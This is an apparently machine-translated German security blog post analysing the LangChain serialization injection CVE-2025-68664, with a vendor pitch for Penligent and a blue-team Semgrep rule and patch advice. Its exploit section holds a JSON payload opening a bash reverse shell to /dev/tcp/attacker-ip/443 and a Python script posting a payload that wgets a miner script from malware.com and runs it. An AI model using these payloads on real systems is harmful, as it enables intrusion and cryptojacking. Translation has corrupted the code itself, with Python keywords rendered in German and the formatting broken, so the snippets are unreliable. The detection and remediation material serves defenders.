Bußgeld-Kopfzeile

Nukleare Option: Tiefes Eintauchen in LangChain Serialisierung Injection CVE-2025-68664

In einem KI-Sicherheitskrieg im Jahr 2025 wird die Offenlegung von LangChain Serialisierung Injection Sicherheitslücke CVE-2025-68664 mit der Wucht einer Wasserbombe getroffen. Wenn es bei Prompt Injection darum geht, das Modell auf der Anwendungsebene "auszutricksen", geht es bei CVE-2025-68664 darum, den Server auf der Infrastrukturebene zu "besitzen".

Als De-facto-Orchestrierungsstandard für agentenbasierte KI ist die Sicherheitslage von LangChain entscheidend. CVE-2025-68664 (CVSS 9.8, Critical) offenbart einen grundlegenden Architekturfehler in der Art und Weise, wie das Framework die Wiederherstellung komplexer Agentenzustände handhabt: Kontrollfehler bei der Instanziierung von JSON-Objekten.

Dieser Artikel verzichtet auf eine oberflächliche Nachrichtenberichterstattung. Aus einer Reverse-Engineering-Perspektive werden wir die langchain-core Quellcode, zerlegen die gesamte Aufrufkette von JSON bis RCE und stellen unternehmenstaugliche Automatisierungsregeln für Blue Teams bereit.

Anatomie der Verwundbarkeit: Wenn laden Wird zu einer Hintertür

Die Stärke von LangChain liegt in seiner Kompositionsfähigkeit. Um die Persistenz von Ketten und Agenten zu unterstützen, bietet LangChain dumpd und laden Methoden, mit denen Python-Objekte in JSON serialisiert und wieder in den Speicher deserialisiert werden können.

Die Wurzel von CVE-2025-68664 befindet sich in der langchain-core/load/load.py Modul. In Versionen vor dem Patch 2025 verließ sich der Lader auf einen Zuordnungsmechanismus, um zu entscheiden, welche Klassen instanziiert werden konnten. Dieser Mechanismus enthielt jedoch einen logischen Fehler: Bei der Verarbeitung serialisierter Objekte, die als Konstrukteur Typs hat der Lader den Modulpfad in der Datei id Feld. Dies erlaubte Angreifern, die allowlist zu umgehen und beliebige globale Python-Module zu laden.

Fehler in der Logik der Quellebene

In den betroffenen Versionen sah die Ladelogik in etwa wie folgt aus (zur Verdeutlichung vereinfacht):

Python

# Konzeptuelle Darstellung der angreifbaren Logik def load(obj, secrets_map=None): if isinstance(obj, dict) und "lc" in obj: # Extrahiere Objekt-ID, z.B. ["langchain", "llms", "OpenAI"] lc_id = obj.get("id")

    # SCHWÄCHLICHKEIT: Die Prüfung existiert zwar, blockiert aber nicht die Standardbibliotheken
    # Eine Angreifer-Nutzlast ["subprocess", "check_output"] geht durch
    wenn obj.get("type") == "constructor":
        return _load_constructor(lc_id, obj.get("kwargs"))`

Angreifer nutzen dies aus, indem sie spezielle lc_id Arrays zu induzieren importlib zum Laden empfindlicher Systemmodule (wie os, Unterprozess, sys) und übergeben böswillige Argumente an ihre Konstrukteure.

Bewaffnung: Die Herstellung der perfekten RCE-Nutzlast

Für die Forscher von Red Team ist das Verständnis der Nutzlastkonstruktion der Schlüssel zur Verifizierung. CVE-2025-68664 erfordert keinen komplexen binären Überlauf, sondern lediglich einen Ausschnitt aus präzisem JSON.

Phase 1: Der Exploit-Prototyp (PoC)

Ein Standard-JSON-Payload zum Öffnen eines Taschenrechners oder einer Reverse Shell sieht wie folgt aus:

JSON

{ "lc": 1, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false } }

Phase 2: Python-Exploit-Skript

In einem realen Szenario würde ein Angreifer diese Nutzlast in den "Import Config"-Endpunkt einer Webanwendung oder in den Speicher eines Agenten einspeisen.

Python

Anfragen importieren json importieren

Tiefes Eintauchen in LangChain Serialisierung Injection CVE-2025-68664

Ziel: Ein AI-Agentendienst, der LangChain-Konfigurationsdateien akzeptiert

url = "http://target-ai-service.com/api/v1/agent/import

payload = { "lc": 1, "type": "constructor", "id": ["subprocess", "run"], "kwargs": { "args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x"], "shell": True, "capture_output": True } }

Versenden der bösartigen serialisierten Daten

Server löst RCE beim Aufruf von langchain.load(json_data) aus

r = requests.post(url, json=payload, headers={"Content-Type": "application/json"}) print(f "Attack Status: {r.status_code}")`

KI-gesteuerte Verteidigung: Die Deep-Audit-Technologie von Penligent

Herkömmliche Web-Scanner (wie Nikto oder OWASP ZAP) versagen in der Regel bei CVE-2025-68664, weil sie die semantischen Auswirkungen einer JSON-Nutzlast auf die Python-Laufzeit nicht verstehen. Sie sehen gültiges JSON; der Server sieht eine Anweisung zur Befehlsausführung.

Dies ist der Ort, an dem Penligent.ai beweist seine technische Überlegenheit. Penligent setzt ein Semantische Prüfung der Serialisierung:

  1. AST Umgekehrte Analyse: Die KI-Agenten von Penligent fuzzen nicht einfach blindlings. Sie analysieren zunächst den AST (Abstract Syntax Tree) der Zielanwendung, um die spezifische LangChain-Version und Ladelogik zu identifizieren. Sie lokalisieren unsichere laden Aufrufe in der Codebasis.
  2. Dynamische Sandbox-Prüfung: Während der Erkennung simuliert Penligent den Ladevorgang in einer isolierten Mikro-VM. Es injiziert serialisierte Objekte, die "Canary Tokens" enthalten. Wenn das Objekt erfolgreich eine Out-of-Band (OOB)-Netzwerkanforderung (DNS-Abfrage) auslöst, bestätigt das System die Schwachstelle mit null Fehlalarmen.

Für Sicherheitsteams in Unternehmen bietet Penligent ein komplettes Verteidigungsspektrum von "Code Commit" bis "Runtime Monitoring", um sicherzustellen, dass keine bösartigen Agentenkonfigurationen in die Produktion gelangen.

Handbuch für das Blaue Team: Erkennung und Beseitigung von Mängeln

Bevor die Patches vollständig bereitgestellt werden, benötigen Blue Teams Erkennungsregeln, um Angriffsversuche zu identifizieren.

1. Semgrep-Regel zur statischen Analyse

Fügen Sie die folgende Regel zu Ihrer CI/CD-Pipeline hinzu, um Ihre Codebasis nach anfälligen Aufrufen zu durchsuchen:

YAML

`Regeln:

  • id: langchain-unsafe-load Muster:
    • Muster: langchain.load.load(...)
    • pattern-not: langchain.load.load(..., valid_namespaces=["langchain"]) Meldung: "Unsichere LangChain-Deserialisierung entdeckt. CVE-2025-68664 ermöglicht RCE. Schränken Sie valid_namespaces ein oder aktualisieren Sie sofort." languages: [python] severity: ERROR`

2. Notfall-Sanierung

Plan A (empfohlen): Upgrade-Abhängigkeiten

LangChain hat diese Logik in langchain-core >= 0.3.15 gepatcht und einen strikten Standard-Mechanismus für allowlist eingeführt.

Plan B (vorübergehend): Code-Härtung

Wenn Sie nicht sofort aktualisieren können, müssen Sie den Ladeumfang der Ladefunktion manuell einschränken:

Python

von langchain_core.load importieren Sie load

Erzwingen Sie das Laden nur aus dem langchain-Namensraum

Lehnt Subprozess-, Betriebssystem- und andere Systemmodule ab

safe_config = load( unsafe_json_data, valid_namespaces=["langchain", "langchain_community"] )`

Schlussfolgerung

LangChain Serialisierung Injection Sicherheitslücke CVE-2025-68664 beweist einmal mehr, dass die Sicherheit von KI-Infrastrukturen nicht auf "implizites Vertrauen" aufgebaut werden kann. Da sich LLM-Anwendungen von "Chatbots" zu "autonomen Agenten" entwickeln, wird die Angriffsfläche für Serialisierung, Zustandsspeicherung und Toolaufrufe exponentiell wachsen.

Sicherheitsingenieure müssen erkennen, dass hinter jedem load() Funktion, könnte eine Shell warten.

Zuverlässige Referenzen

Teilen Sie den Beitrag:
Verwandte Beiträge
de_DEGerman